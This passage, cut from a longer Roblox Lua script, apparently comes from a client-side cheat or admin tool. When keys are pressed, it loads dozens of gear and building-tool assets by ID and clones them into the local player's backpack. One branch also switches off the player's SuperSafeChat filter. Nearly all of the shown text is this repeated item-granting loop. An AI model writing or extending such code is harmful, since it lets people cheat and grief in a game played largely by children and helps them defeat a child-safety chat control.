4231 for _, v in pairs(insrt7:GetChildren()) do
4232 v.Name='iStamperTool'
4233 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4234 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4235 end
4236 end
4237 local insrt8 = game:GetService("InsertService"):LoadAsset(73089239)--config2
4238 for _, v in pairs(insrt8:GetChildren()) do
4239 v.Name='iConfigTool2'
4240 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4241 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4242 end
4243 end
4244 local insrt9 = game:GetService("InsertService"):LoadAsset(58880579)--rotate
4245 for _, v in pairs(insrt9:GetChildren()) do
4246 v.Name='iRotateTool'
4247 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4248 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4249 end
4250 end
4251 local insrt10 = game:GetService("InsertService"):LoadAsset(60791062)--wiring
4252 for _, v in pairs(insrt10:GetChildren()) do
4253 v.Name='iWiringTool'
4254 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4255 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4256 end
4257 end
4258 local insrt10 = game:GetService("InsertService"):LoadAsset(36738185)--delete
4259 for _, v in pairs(insrt10:GetChildren()) do
4260 v.Name='iDeleteTool'
4261 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4262 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4263 end
4264 end
4265 wait()
4266 if (game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingBTools..."))then
4267 game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingBTools..."):remove()
4268 end
4269 end))
4270 elseif Key==GearKey then
4271 Player:SetSuperSafeChat(false)
4272 coroutine.resume(coroutine.create(function()
4273 if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then
4274 MergeTool=ctool("iMergeTool")
4275 MergeScript=Instance.new("LocalScript",MergeTool)
4276 end
4277 MergeScript.Source=MergeScriptSource
4278 MergeScript.Disabled=true
4279 MergeScript.Disabled=false
4280 if not(game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingGears..."))then
4281 local load=ctool("LoadingGears...")
4282 end
4283 local insrt8 = game:GetService("InsertService"):LoadAsset(16688968)--coil
4284 for _, v in pairs(insrt8:GetChildren()) do
4285 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4286 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4287 end
4288 end
4289 local insrt9 = game:GetService("InsertService"):LoadAsset(52180871)--remotecontroltruck
4290 for _, v in pairs(insrt9:GetChildren()) do
4291 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4292 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4293 end
4294 end
4295 local insrt10 = game:GetService("InsertService"):LoadAsset(55917429)--bow
4296 for _, v in pairs(insrt10:GetChildren()) do
4297 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4298 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4299 end
4300 end
4301 local insrt11 = game:GetService("InsertService"):LoadAsset(31314931)--epicsauce
4302 for _, v in pairs(insrt11:GetChildren()) do
4303 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4304 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4305 end
4306 end
4307 local insrt12 = game:GetService("InsertService"):LoadAsset(65545955)--dancegrenade
4308 for _, v in pairs(insrt12:GetChildren()) do
4309 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4310 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4311 end
4312 end
4313 local insrt13 = game:GetService("InsertService"):LoadAsset(28277486)--bomb
4314 for _, v in pairs(insrt13:GetChildren()) do
4315 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4316 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4317 end
4318 end
4319 local insrt14 = game:GetService("InsertService"):LoadAsset(27902406)--skate
4320 for _, v in pairs(insrt14:GetChildren()) do
4321 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4322 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4323 end
4324 end
4325 local insrt15 = game:GetService("InsertService"):LoadAsset(42845853)--freezeray
4326 for _, v in pairs(insrt15:GetChildren()) do
4327 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4328 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4329 end
4330 end
4331 local insrt16 = game:GetService("InsertService"):LoadAsset(50937815)--atomgun
4332 for _, v in pairs(insrt16:GetChildren()) do
4333 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4334 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4335 end
4336 end
4337 local insrt17 = game:GetService("InsertService"):LoadAsset(34898883)--platformproducer
4338 for _, v in pairs(insrt17:GetChildren()) do
4339 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4340 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4341 end
4342 end
4343 local insrt18 = game:GetService("InsertService"):LoadAsset(35683911)--wallwalker
4344 for _, v in pairs(insrt18:GetChildren()) do
4345 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4346 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4347 end
4348 end
4349 local insrt19 = game:GetService("InsertService"):LoadAsset(68603151)--sentry
4350 for _, v in pairs(insrt19:GetChildren()) do
4351 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4352 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4353 end
4354 end
4355 local insrt20 = game:GetService("InsertService"):LoadAsset(26421972)--zombie
4356 for _, v in pairs(insrt20:GetChildren()) do
4357 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4358 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4359 end
4360 end
4361 local insrt21 = game:GetService("InsertService"):LoadAsset(34901961)--gravity
4362 for _, v in pairs(insrt21:GetChildren()) do
4363 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4364 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4365 end
4366 end
4367 local insrt22 = game:GetService("InsertService"):LoadAsset(10468797)--banhammer
4368 for _, v in pairs(insrt22:GetChildren()) do
4369 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4370 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4371 end
4372 end
4373 local insrt23 = game:GetService("InsertService"):LoadAsset(71422361)--coolsword1
4374 for _, v in pairs(insrt23:GetChildren()) do
4375 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4376 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4377 end
4378 end
4379 local insrt24 = game:GetService("InsertService"):LoadAsset(62350883)--coolsword2
4380 for _, v in pairs(insrt24:GetChildren()) do
4381 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4382 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4383 end
4384 end
4385 local insrt25 = game:GetService("InsertService"):LoadAsset(30847733)--vinestaff
4386 for _, v in pairs(insrt25:GetChildren()) do
4387 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4388 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4389 end
4390 end
4391 local insrt26 = game:GetService("InsertService"):LoadAsset(48596324)--leviatingstaff
4392 for _, v in pairs(insrt26:GetChildren()) do
4393 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4394 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4395 end
4396 end
4397 local insrt27 = game:GetService("InsertService"):LoadAsset(61459706)--polaritystaff
4398 for _, v in pairs(insrt27:GetChildren()) do
4399 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4400 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4401 end
4402 end
4403 local insrt28 = game:GetService("InsertService"):LoadAsset(66416616)--zeusstaff
4404 for _, v in pairs(insrt28:GetChildren()) do
4405 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4406 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4407 end
4408 end
4409 local insrt29 = game:GetService("InsertService"):LoadAsset(33866846)--gravhammer
4410 for _, v in pairs(insrt29:GetChildren()) do
4411 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4412 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4413 end
4414 end
4415 local insrt30 = game:GetService("InsertService"):LoadAsset(30847779)--magicninja
4416 for _, v in pairs(insrt30:GetChildren()) do
4417 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4418 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4419 end
4420 end
4421 local insrt31 = game:GetService("InsertService"):LoadAsset(60888284)--dualkamas
4422 for _, v in pairs(insrt31:GetChildren()) do
4423 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4424 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4425 end
4426 end
4427 local insrt32 = game:GetService("InsertService"):LoadAsset(42845609)--bbgun
4428 for _, v in pairs(insrt32:GetChildren()) do
4429 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4430 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4431 end
4432 end
4433 local insrt33 = game:GetService("InsertService"):LoadAsset(32356064)--rocketlauncher
4434 for _, v in pairs(insrt33:GetChildren()) do
4435 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4436 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4437 end
4438 end
4439 local insrt34 = game:GetService("InsertService"):LoadAsset(69209924)--r80launcher
4440 for _, v in pairs(insrt34:GetChildren()) do
4441 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4442 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4443 end
4444 end
4445 local insrt35 = game:GetService("InsertService"):LoadAsset(69947379)--revengeancespear
4446 for _, v in pairs(insrt35:GetChildren()) do
4447 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4448 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4449 end
4450 end
4451 local insrt36 = game:GetService("InsertService"):LoadAsset(51760061)--deathspeaker
4452 for _, v in pairs(insrt36:GetChildren()) do
4453 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4454 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4455 end
4456 end
4457 local insrt37 = game:GetService("InsertService"):LoadAsset(59175769)--flamethrower1
4458 for _, v in pairs(insrt37:GetChildren()) do
4459 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4460 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4461 end
4462 end
4463 local insrt38 = game:GetService("InsertService"):LoadAsset(69499452)--laservision
4464 for _, v in pairs(insrt38:GetChildren()) do
4465 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4466 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4467 end
4468 end
4469 local insrt39 = game:GetService("InsertService"):LoadAsset(65082246)--dreamselixir
4470 for _, v in pairs(insrt39:GetChildren()) do
4471 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4472 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4473 end
4474 end
4475 local insrt40 = game:GetService("InsertService"):LoadAsset(55917420)--hydrianelexir
4476 for _, v in pairs(insrt40:GetChildren()) do
4477 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4478 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4479 end
4480 end
4481 local insrt41 = game:GetService("InsertService"):LoadAsset(50938746)--fermionblade
4482 for _, v in pairs(insrt41:GetChildren()) do
4483 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4484 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4485 end
4486 end
4487 local insrt42 = game:GetService("InsertService"):LoadAsset(72644644)--quantumentangler
4488 for _, v in pairs(insrt42:GetChildren()) do
4489 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4490 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4491 end
4492 end
4493 local insrt43 = game:GetService("InsertService"):LoadAsset(72713855)--giantoform
4494 for _, v in pairs(insrt43:GetChildren()) do
4495 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4496 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4497 end
4498 end
4499 local insrt44 = game:GetService("InsertService"):LoadAsset(26774629)--expander
4500 for _, v in pairs(insrt44:GetChildren()) do
4501 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4502 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4503 end
4504 end
4505 local insrt45 = game:GetService("InsertService"):LoadAsset(66426498)--kami
4506 for _, v in pairs(insrt45:GetChildren()) do
4507 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4508 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4509 end
4510 end
4511 local insrt46 = game:GetService("InsertService"):LoadAsset(66896565)--missiletoe
4512 for _, v in pairs(insrt46:GetChildren()) do
4513 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4514 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4515 end
4516 end
4517 local insrt47 = game:GetService("InsertService"):LoadAsset(69499437)--azureperiastron
4518 for _, v in pairs(insrt47:GetChildren()) do
4519 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4520 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4521 end
4522 end
4523 local insrt48 = game:GetService("InsertService"):LoadAsset(71037028)--magiccarpet
4524 for _, v in pairs(insrt48:GetChildren()) do
4525 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4526 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4527 end
4528 end
4529 local insrt49 = game:GetService("InsertService"):LoadAsset(68354832)--blizzardwand
4530 for _, v in pairs(insrt49:GetChildren()) do
4531 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4532 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4533 end
4534 end
4535 local insrt50 = game:GetService("InsertService"):LoadAsset(66896601)--neverendingfroststaff
4536 for _, v in pairs(insrt50:GetChildren()) do
4537 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4538 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4539 end
4540 end
4541 local insrt51 = game:GetService("InsertService"):LoadAsset(72644629)--orb
4542 for _, v in pairs(insrt51:GetChildren()) do
4543 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4544 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4545 end
4546 end
4547 local insrt52 = game:GetService("InsertService"):LoadAsset(48596305)--confusoray
4548 for _, v in pairs(insrt52:GetChildren()) do
4549 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4550 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4551 end
4552 end
4553 local insrt53 = game:GetService("InsertService"):LoadAsset(45941451)--danceblaster
4554 for _, v in pairs(insrt53:GetChildren()) do
4555 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4556 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4557 end
4558 end
4559 local insrt54 = game:GetService("InsertService"):LoadAsset(30393548)--grapplehook
4560 for _, v in pairs(insrt54:GetChildren()) do
4561 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4562 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4563 end
4564 end
4565 local insrt55 = game:GetService("InsertService"):LoadAsset(59848474)--deathspeakerbook
4566 for _, v in pairs(insrt55:GetChildren()) do
4567 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4568 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4569 end
4570 end
4571 local insrt56 = game:GetService("InsertService"):LoadAsset(49491736)--dracovinbook
4572 for _, v in pairs(insrt56:GetChildren()) do
4573 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4574 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4575 end
4576 end
4577 local insrt57 = game:GetService("InsertService"):LoadAsset(56561607)--dracovinwand
4578 for _, v in pairs(insrt57:GetChildren()) do
4579 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4580 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4581 end
4582 end
4583 local insrt58 = game:GetService("InsertService"):LoadAsset(49491716)--mischiefwand
4584 for _, v in pairs(insrt58:GetChildren()) do
4585 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4586 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4587 end
4588 end
4589 local insrt59 = game:GetService("InsertService"):LoadAsset(16979083)--flashbang
4590 for _, v in pairs(insrt59:GetChildren()) do
4591 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4592 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4593 end
4594 end
4595 local insrt60 = game:GetService("InsertService"):LoadAsset(27860496)--novawand
4596 for _, v in pairs(insrt60:GetChildren()) do
4597 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4598 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4599 end
4600 end
4601 local insrt61 = game:GetService("InsertService"):LoadAsset(56561579)--forgottenbook
4602 for _, v in pairs(insrt61:GetChildren()) do
4603 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4604 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4605 end
4606 end
4607 local insrt62 = game:GetService("InsertService"):LoadAsset(69210407)--remoteplanecontrol
4608 for _, v in pairs(insrt62:GetChildren()) do
4609 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4610 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4611 end
4612 end
4613 local insrt63 = game:GetService("InsertService"):LoadAsset(66823689)--icicleslicer
4614 for _, v in pairs(insrt63:GetChildren()) do
4615 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4616 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4617 end
4618 end
4619 local insrt64 = game:GetService("InsertService"):LoadAsset(61459678)--nekotikozphaser
4620 for _, v in pairs(insrt64:GetChildren()) do
4621 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4622 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4623 end
4624 end
4625 local insrt65 = game:GetService("InsertService"):LoadAsset(64220933)--ghostfiresword
4626 for _, v in pairs(insrt65:GetChildren()) do
4627 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4628 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4629 end
4630 end
4631 local insrt66 = game:GetService("InsertService"):LoadAsset(64869947)--ninjabomb
4632 for _, v in pairs(insrt66:GetChildren()) do
4633 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4634 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4635 end
4636 end
4637 local insrt67 = game:GetService("InsertService"):LoadAsset(14516975)--superdisruptor
4638 for _, v in pairs(insrt67:GetChildren()) do
4639 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4640 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4641 end
4642 end
4643 local insrt68 = game:GetService("InsertService"):LoadAsset(18268645)--disintergrexgun
4644 for _, v in pairs(insrt68:GetChildren()) do
4645 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4646 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4647 end
4648 end
4649 local insrt69 = game:GetService("InsertService"):LoadAsset(18462637)--windstaff
4650 for _, v in pairs(insrt69:GetChildren()) do
4651 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4652 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4653 end
4654 end
4655 local insrt70 = game:GetService("InsertService"):LoadAsset(13838639)--atomicdisintegrator
4656 for _, v in pairs(insrt70:GetChildren()) do
4657 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4658 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4659 end
4660 end
4661 local insrt71 = game:GetService("InsertService"):LoadAsset(33867016)--handcannon
4662 for _, v in pairs(insrt71:GetChildren()) do
4663 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4664 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4665 end
4666 end
4667 local insrt72 = game:GetService("InsertService"):LoadAsset(33879504)--flamethrower2
4668 for _, v in pairs(insrt72:GetChildren()) do
4669 v.Name='FlameThrower2'
4670 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4671 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4672 end
4673 end
4674 local insrt73 = game:GetService("InsertService"):LoadAsset(35366155)--hypnocannon
4675 for _, v in pairs(insrt73:GetChildren()) do
4676 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4677 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4678 end
4679 end
4680 local insrt74 = game:GetService("InsertService"):LoadAsset(28275809)--scythe
4681 for _, v in pairs(insrt74:GetChildren()) do
4682 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4683 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4684 end
4685 end
4686 local insrt75 = game:GetService("InsertService"):LoadAsset(31839203)--rcformula
4687 for _, v in pairs(insrt75:GetChildren()) do
4688 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4689 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4690 end
4691 end
4692 local insrt76 = game:GetService("InsertService"):LoadAsset(11373617)--woodlandsstaff
4693 for _, v in pairs(insrt76:GetChildren()) do
4694 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4695 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4696 end
4697 end
4698 local insrt77 = game:GetService("InsertService"):LoadAsset(22969230)--emraldscatterblaster
4699 for _, v in pairs(insrt77:GetChildren()) do
4700 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4701 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4702 end
4703 end
4704 local insrt78 = game:GetService("InsertService"):LoadAsset(21420014)--scatterblaster
4705 for _, v in pairs(insrt78:GetChildren()) do
4706 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4707 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4708 end
4709 end
4710 local insrt79 = game:GetService("InsertService"):LoadAsset(36913601)--broom
4711 for _, v in pairs(insrt79:GetChildren()) do
4712 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4713 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4714 end
4715 end
4716 local insrt80 = game:GetService("InsertService"):LoadAsset(48847374)--positronicarmcannon
4717 for _, v in pairs(insrt80:GetChildren()) do
4718 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4719 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4720 end
4721 end
4722 local insrt81 = game:GetService("InsertService"):LoadAsset(71422327)--frosthammer
4723 for _, v in pairs(insrt81:GetChildren()) do
4724 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4725 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4726 end
4727 end
4728 local insrt82 = game:GetService("InsertService"):LoadAsset(69947367)--dualaxe
4729 for _, v in pairs(insrt82:GetChildren()) do
4730 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4731 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4732 end
4733 end
4734 local insrt83 = game:GetService("InsertService"):LoadAsset(33382711)--gloomystaff
4735 for _, v in pairs(insrt83:GetChildren()) do
4736 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4737 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4738 end
4739 end
4740 local insrt84 = game:GetService("InsertService"):LoadAsset(11719016)--blowdryer
4741 for _, v in pairs(insrt84:GetChildren()) do
4742 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4743 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4744 end
4745 end
4746 local insrt85 = game:GetService("InsertService"):LoadAsset(12902404)--tnt
4747 for _, v in pairs(insrt85:GetChildren()) do
4748 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4749 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4750 end
4751 end
4752 local insrt86 = game:GetService("InsertService"):LoadAsset(65469882)--fist
4753 for _, v in pairs(insrt86:GetChildren()) do
4754 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4755 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4756 end
4757 end
4758 local insrt87 = game:GetService("InsertService"):LoadAsset(65469908)--scullcracker
4759 for _, v in pairs(insrt87:GetChildren()) do
4760 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4761 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4762 end
4763 end
4764 local insrt88 = game:GetService("InsertService"):LoadAsset(33383241)--remotemine
4765 for _, v in pairs(insrt88:GetChildren()) do
4766 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4767 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4768 end
4769 end
4770 local insrt89 = game:GetService("InsertService"):LoadAsset(32353654)--moonwalkdance
4771 for _, v in pairs(insrt89:GetChildren()) do
4772 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4773 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4774 end
4775 end
4776 local insrt90 = game:GetService("InsertService"):LoadAsset(32355966)--winsomewand
4777 for _, v in pairs(insrt90:GetChildren()) do
4778 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4779 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4780 end
4781 end
4782 local insrt91 = game:GetService("InsertService"):LoadAsset(35293856)--atomizer
4783 for _, v in pairs(insrt91:GetChildren()) do
4784 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4785 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4786 end
4787 end
4788 local insrt92 = game:GetService("InsertService"):LoadAsset(50938773)--taserblade
4789 for _, v in pairs(insrt92:GetChildren()) do
4790 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4791 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4792 end
4793 end
4794 local insrt93 = game:GetService("InsertService"):LoadAsset(32858662)--icestaff
4795 for _, v in pairs(insrt93:GetChildren()) do
4796 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4797 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4798 end
4799 end
4800 local insrt94 = game:GetService("InsertService"):LoadAsset(16469499)--highphaser
4801 for _, v in pairs(insrt94:GetChildren()) do
4802 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4803 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4804 end
4805 end
4806 local insrt95 = game:GetService("InsertService"):LoadAsset(47871646)--tornade
4807 for _, v in pairs(insrt95:GetChildren()) do
4808 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4809 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4810 end
4811 end
4812 local insrt96 = game:GetService("InsertService"):LoadAsset(35366215)--roboarm
4813 for _, v in pairs(insrt96:GetChildren()) do
4814 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4815 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4816 end
4817 end
4818 local insrt97 = game:GetService("InsertService"):LoadAsset(64160547)--hoverboard
4819 for _, v in pairs(insrt97:GetChildren()) do
4820 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4821 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4822 end
4823 end
4824 local insrt98 = game:GetService("InsertService"):LoadAsset(54694334)--vilethorn
4825 for _, v in pairs(insrt98:GetChildren()) do
4826 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4827 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4828 end
4829 end
4830 local insrt99 = game:GetService("InsertService"):LoadAsset(69210321)--darkstaff
4831 for _, v in pairs(insrt99:GetChildren()) do
4832 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4833 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4834 end
4835 end
4836 local insrt100 = game:GetService("InsertService"):LoadAsset(62827121)--evilwand
4837 for _, v in pairs(insrt100:GetChildren()) do
4838 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4839 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4840 end
4841 end
4842 local insrt101 = game:GetService("InsertService"):LoadAsset(18010691)--awestar
4843 for _, v in pairs(insrt101:GetChildren()) do
4844 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4845 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4846 end
4847 end
4848 local insrt102 = game:GetService("InsertService"):LoadAsset(51302649)--swordandshield
4849 for _, v in pairs(insrt102:GetChildren()) do
4850 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
